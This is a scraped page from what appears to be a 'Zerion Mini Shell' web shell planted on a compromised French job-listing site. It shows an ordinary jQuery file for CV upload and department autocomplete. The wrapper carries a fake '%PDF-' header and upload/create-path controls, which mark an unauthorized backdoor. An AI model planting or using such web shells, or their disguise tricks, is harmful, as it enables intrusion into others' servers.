%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/devcapijob/public_html/site/Templates/js/
Upload File :
Create Path :
Current File : /home/devcapijob/public_html/site/Templates/js/script_annonce.js

$(document).ready(function() {
  $("#postule_annonce_new").bootstrapValidator({
      feedbackIcons: {
            valid: 'glyphicon glyphicon-ok',
            invalid: 'glyphicon glyphicon-remove',
            validating: 'glyphicon glyphicon-refresh'
        },
         fields: {
            
             cv: {
                  validators: {
                     notEmpty: {
                            message: 'Veuillez choisir un fichier'
                        },
                      file: {
                          extension: 'pdf,doc,docx,xlsx,xls',
                          type: 'application/pdf,application/vnd.ms-excel,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document',
                          message: 'Veuillez choisir un fichier pdf, doc, docx, xlsx, xls.'
                      }
                  }
              }

          }
        })
        .on('success.form.bv', function(e) {
        e.preventDefault();
        var $form = $(e.target);
        var bv = $form.data('bootstrapValidator');
        var formData = new FormData(this)
        var dialog = bootbox.dialog({
                message: '<p class="text-center mb-0"><i class="fa fa-spin fa-cog"></i> Veuillez patienter...</p>',
                closeButton: false
            });

        $.ajax({
            url: baseurl+'resultat.html?target=ajax&action=postule_annonce_new', // Replace with your PHP processing script
            type: 'POST',
            data: formData,
            dataType: 'json', // If expecting JSON response from server
            processData: false,
            contentType: false,
            success: function(response) {
                dialog.modal('hide');
                 $('.reponse_msg').addClass("alert alert-success");
                 $('.reponse_msg').html("Vous avez soumis votre candidature");
                console.log(response);
                // Example: Show a success message
                //alert('Application submitted successfully!');
            },
            error: function(xhr, status, error) {
                dialog.modal('hide');
                //console.error(xhr.responseText);
                  $('.reponse_msg').addClass("alert alert-danger");
                 $('.reponse_msg').html("Error submitting application. Please try again.");
                //alert('Error submitting application. Please try again.');
            }
        });

         
})
})

$(function(){

      var forms = document.querySelectorAll('.needs-validation')

    // Loop over them and prevent submission
    Array.prototype.slice.call(forms)
        .forEach(function (form) {
            form.addEventListener('submit', function (event) {
                if (!form.checkValidity()) {
                    event.preventDefault()
                    event.stopPropagation()
                }

                form.classList.add('was-validated')
            }, false)
        })
  

$( '.btn-contact').click( function(){
	var id = $(this).attr("data-id");
	$.ajax({
    type: "GET",
    url: "resultat.html?target=ajax&action=addclick&id="+id,
    success: function(response){
       // alert(response);
    }
  });
   
 });


$("#department").autocomplete({
                source: function(request, response) {
                    $.ajax({
                        url: baseurl+"resultat.html?target=ajax&action=departement_liste",
                        dataType: "json",
                         data: {
                              term: request.term // Pass the user input as 'term'
                        },
                         beforeSend: function() {
                            // Display loading indicator
                            $("#department").addClass("ui-autocomplete-loading");
                        },
                        success: function(data) {
                          $("#department").removeClass("ui-autocomplete-loading");
                            displayResults(data);
                            response(data);
                        },


                       
                    });
                },
                 select: function( event, ui ) {
                           event.preventDefault();
                            $(this).val(ui.item.name);
                           console.log("Setting ID:", ui.item.id);
                           $("#id_departs").val(ui.item.id);
                           return false;
                   }
            });

});


 var departmentValue = $("#id_departs").val();

  if (departmentValue) {
        fetchAdditionalInfo(departmentValue);
    }



document.querySelectorAll('a.link-postule[href^="#"]').forEach(anchor => {
    anchor.addEventListener('click', function(e) {
        e.preventDefault();
           
         const targetId = this.getAttribute('href').substring(1);
        const target = document.getElementById(targetId);

        if (target) {
            const targetRect = target.getBoundingClientRect();
            const offsetTop = window.pageYOffset || document.documentElement.scrollTop;
            const headerHeight = document.getElementById('headers').offsetHeight; // Hauteur de l'en-tĂȘte fixe


            window.scrollTo({
                top: targetRect.top + offsetTop - headerHeight,
                behavior: 'smooth'
            });
        }
    });
});

function fetchAdditionalInfo(departmentId) {
        $.ajax({
            url: baseurl + "resultat.html?target=ajax&action=departement_liste",
            dataType: "json",
            data: {
                term: departmentId // Pass the selected department id
            },
            beforeSend: function() {
                // Display loading indicator or any other indication if needed
            },
            success: function(data) {
                if (data.length > 0) {
                const department = data[0]; // Get the first department object

                // Process the returned data and update the form or any UI elements
                console.log("Additional Info:", department);

                // Update the input fields with the returned data
                $("#id_departs").val(department.id);
                $("#department").val(department.name);

                // Hide the loading indicator
                $("#loadingIndicator").hide();
            } else {
                console.error("No department data returned.");
                $("#loadingIndicator").hide();
            }
               
            },
            error: function(jqXHR, textStatus, errorThrown) {
                console.error("Fetch additional info AJAX request failed:", textStatus, errorThrown);
            }
        });
    }

function displayResults(data) {
                var resultsContainer = $("#autocomplete-results");
                resultsContainer.empty();
                $.each(data, function(index, value) {
                    $("<li>").attr('id', value.id).text(value.name).appendTo(resultsContainer);
                });
                resultsContainer.show();
            }


$(document).on("click", ".autocomplete-results li", function(event, ui) {
   console.log("Setting ID:", ui);
                var selectedDepartment = $(this).text();
                var depart = $(this).attr('id');
                $("#department").val(selectedDepartment);
                $("#id_departs").val(depart);
                $("#autocomplete-results").empty().hide();
            });

            $(document).on("click", function(event) {
                if (!$(event.target).closest(".autocomplete-container").length) {
                    $("#autocomplete-results").empty().hide();
                }
            });

Zerion Mini Shell 1.0